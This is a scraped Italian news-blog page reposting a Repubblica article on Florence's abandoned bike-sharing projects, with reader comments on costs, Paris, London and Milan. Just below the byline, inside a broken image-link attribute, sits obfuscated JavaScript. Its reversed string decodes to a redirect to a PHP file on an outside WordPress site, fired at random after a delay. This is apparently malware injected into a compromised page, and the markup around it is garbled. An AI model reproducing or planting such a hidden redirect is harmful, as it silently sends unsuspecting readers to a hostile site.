Così Firenze ha perso l'occasione bike sharing

image_pdfimage_print

Ilaria Ciuti da Repubblica

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/09/Torino_bike_sharing-400×300.jpg”>
bike sharing a Milano

Si disse: si fa a Parigi. E si decise di farlo anche qui. Era il 2007. Adesso, dopo tre diversi progetti: 2007, 2008 e 2009, non se ne parla più e i 500 mila euro già ottenuti allo scopo sono stati stornati dall’amministrazione verso altri scopi. Eppure si potrebbero riguadagnare dalla Ue. Ma il bike sharing, la bicicletta in condivisione che si prende per pochi soldi, la si usa e la si lascia dove si vuole in varie postazioni a 300 metri l’una dall’altra, non è più di moda a Firenze. La denuncia viene dalle associazioni ambientaliste che hanno spedito in Palazzo Vecchio il decalogo degli impegni presi e mai realizzati. Adesso il bike sharing lo hanno molte città europee e anche alcune italiane. A Firenze andare in bici è ancora complicato. A Lione hanno calcolato che la bici condivisa abbia abbattuto di 10 milioni di tonnellate di anidride carbonica, racconta Patrizio Castoria, il consulente di marketing e docente di comunicazione presso svariate aziende, che ha lavorato invano varie proposte sul bike sharing fiorentino.
Due i progetti fatti e restati sulla carta durante la passata amministrazione a opera dell’allora assessore al traffico Del Lungo. Una, la proposta arrivata a questa amministrazione. Il primo progetto naufragò soprattutto per difficoltà di trovare il gestore, era sembrato possibile affidare il servizio alla Sas, ma la società dei servizi per la strada del Comune non era interessata. Poi si pensò a un bando di gara, si contattarono imprese di pubblicità che avrebbero potuto prendere in mano la gestione delle bici e sgravare il Comune del peso economico, se non il finanziamento di avvio, il suolo pubblico e l’energia elettrica. Si andò a vedere in Spagna. Niente di fatto. L’ultimo progetto, fatto insieme alla ditta di pubblicità Sercom, è stato sottoposto da Castoria alla giunta attuale: 50 postazioni iniziali per poi crescere a cento, 3 euro di abbonamento al mese per i residenti, un po’ di più per i turisti, una tesserina magnetica con cui staccare la bici dalla rastrelliera alla partenza, la possibilità di lasciarla in qualsiasi altra postazione. E bici firmate Giorgio Armani che sarebbe stato lo sponsor di maggiore appeal. Per ora nessuna reazione.

0 Comments

  1. Diego

    Ciao,
    qui a Londra é attivo un servizio simile da un paio di mesi. Non so i dati ufficiali, ma vedo moltissima gente usufruirne e sui giornali c’é ogni giorno una notiziola su come, di fatto, in una cittá grande e caotica come questa, si sentisse il bisogno di avere un’alternativa al bus e alla metro. Il mese scorso c’é stato uno sciopero di due giorni che ha bloccato quasi tutte le linee di metropolitana. Il giorno dopo su tutti i giornali c’erano elogi vari al servizio e a quanto sia meritevole il sindaco per aver accelerato l’installazione del servizio.
    In una cittá come firenze rivoluzionerebbe il modo di muoversi in cittá, aiutando traffico, turismo e utilizzo dei parchi.

    Diego

    Reply
  2. sergio

    Il bike sharing o si fa bene e costa tanto – 3.000 euro a bici per l’impianto e 1.000 euro l’anno per la gestione a bici – o serve a poco e a pochi, come a Prato e in molte città italiane.
    Si fa grande pubblicità perchè chi ci guadagna sono soprattutto le ditte di pubblicità, che sono quelle che gestiscono il bike sharing a Parigi, a Milano e in molte città, e non possono dire che non funziona o che costa troppo.
    E’ soprattutto una questione di immagine. Bisogna offrire invece dei posti sicuri dove lasciare le proprie biciclette e aumentare le rastrelliere.
    Hanno fatto bene a Firenze a non fare il bike sharing e risparmiare così soldi che devono essere destinati ad aumentare e tenere pulite e in ordine le rastrelliere.

    Reply
  3. Valerio

    Sul bike sharing ci sono vari malintesi e anche leggende, fra cui quella sui costi.
    Vale la pena di dare un’ occhiatina al sito e all’articolo sul tema dell’associazione Fiab Firenzeinbici, decisamente un soggetto competente:

    http://www.firenzeinbici.net/articolo.aspx?id=2549

    A Firenze il bike sharing, senza sostituire ne erodere la ciclabilità con bici propria (in crescita e da incentivare), darebbe un bel contributo ai drammatici problemi di im-mobilità.
    Sarebbe anche utile per far tacere i continui sbraitamenti contro la ZTL (diurna e notturna) da parte di commercianti e gestori di locali e contrastare i tentativi di abolirla di fatto.

    Reply
  4. Gianni

    @Sergio – si potrebbe pensarla anche come dici tu: in fin dei conti il bike sharing, nella migliore delle ipotesi, arriverebbe a costituire appena il 10% della mobilità ciclistica. Ma in realtà non è così: può anche essere vero che il Velib parigino ha dei costi di gestione molto elevati, ma è anche vero che è stato il motore di un cambiamento culturale di dimensione epocale, in una città (Parigi) che non è (era) certo amica delle biciclette.

    Reply
  5. Gianfranco

    Per es. con una postazione a Porta Romana si decongestionerebbe via de Serragli, via Maggio e via Romana. Con 2 postazioni di bike sharing in piazza Alberti e in piazza Beccaria si potrebbe pedonalizzare via Gioberti. E così via.
    Io ci metterei la firma anche subito. Sta prendendo piede in molte città, perchè da noi no? Siamo più scemi?

    Reply
  6. Ugo

    Io per es. preferirei prenderla a noleggio quando mi serve, cioè spesso, senza rischiare furti o i sequestri della Polizia Municipale. E credo che saremmo in molti.

    Reply
  7. Valerio

    A Milano l’associazione FIAB (Ciclobby) e altre organizzazioni ambientaliste hanno fortemente appoggiato l’introduzione del bike sharing, adesso lo valutano positivamente e ne sostengono l’estensione. Il che vale a maggior ragione a Firenze, dove la ciclabilità è messa un pò meglio (anche se lontani da standrd europei) sia per piste ciclabili che grazie alla ZTL.

    Quella dei costi mi sembra in parte basata su leggende e calcoli arzigogolati, in parte sul falso approccio “usiamo i soldi per qualcos’altro” – che poi non è affatto detto che siano le rastrelliere, magari invece una bella superstrada in mezzo alla città.
    Si potrebbe anche dire usiamo i 41 milioni di euro che costerebbe una ipotetica ciclovia dell’Arno (a valenza turistica) per farci una 40ina di bike sharing, o ancora meglio fittissime e ottime reti ciclabili in tutte le città toscane. E avanzerebbero soldi.

    Reply

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *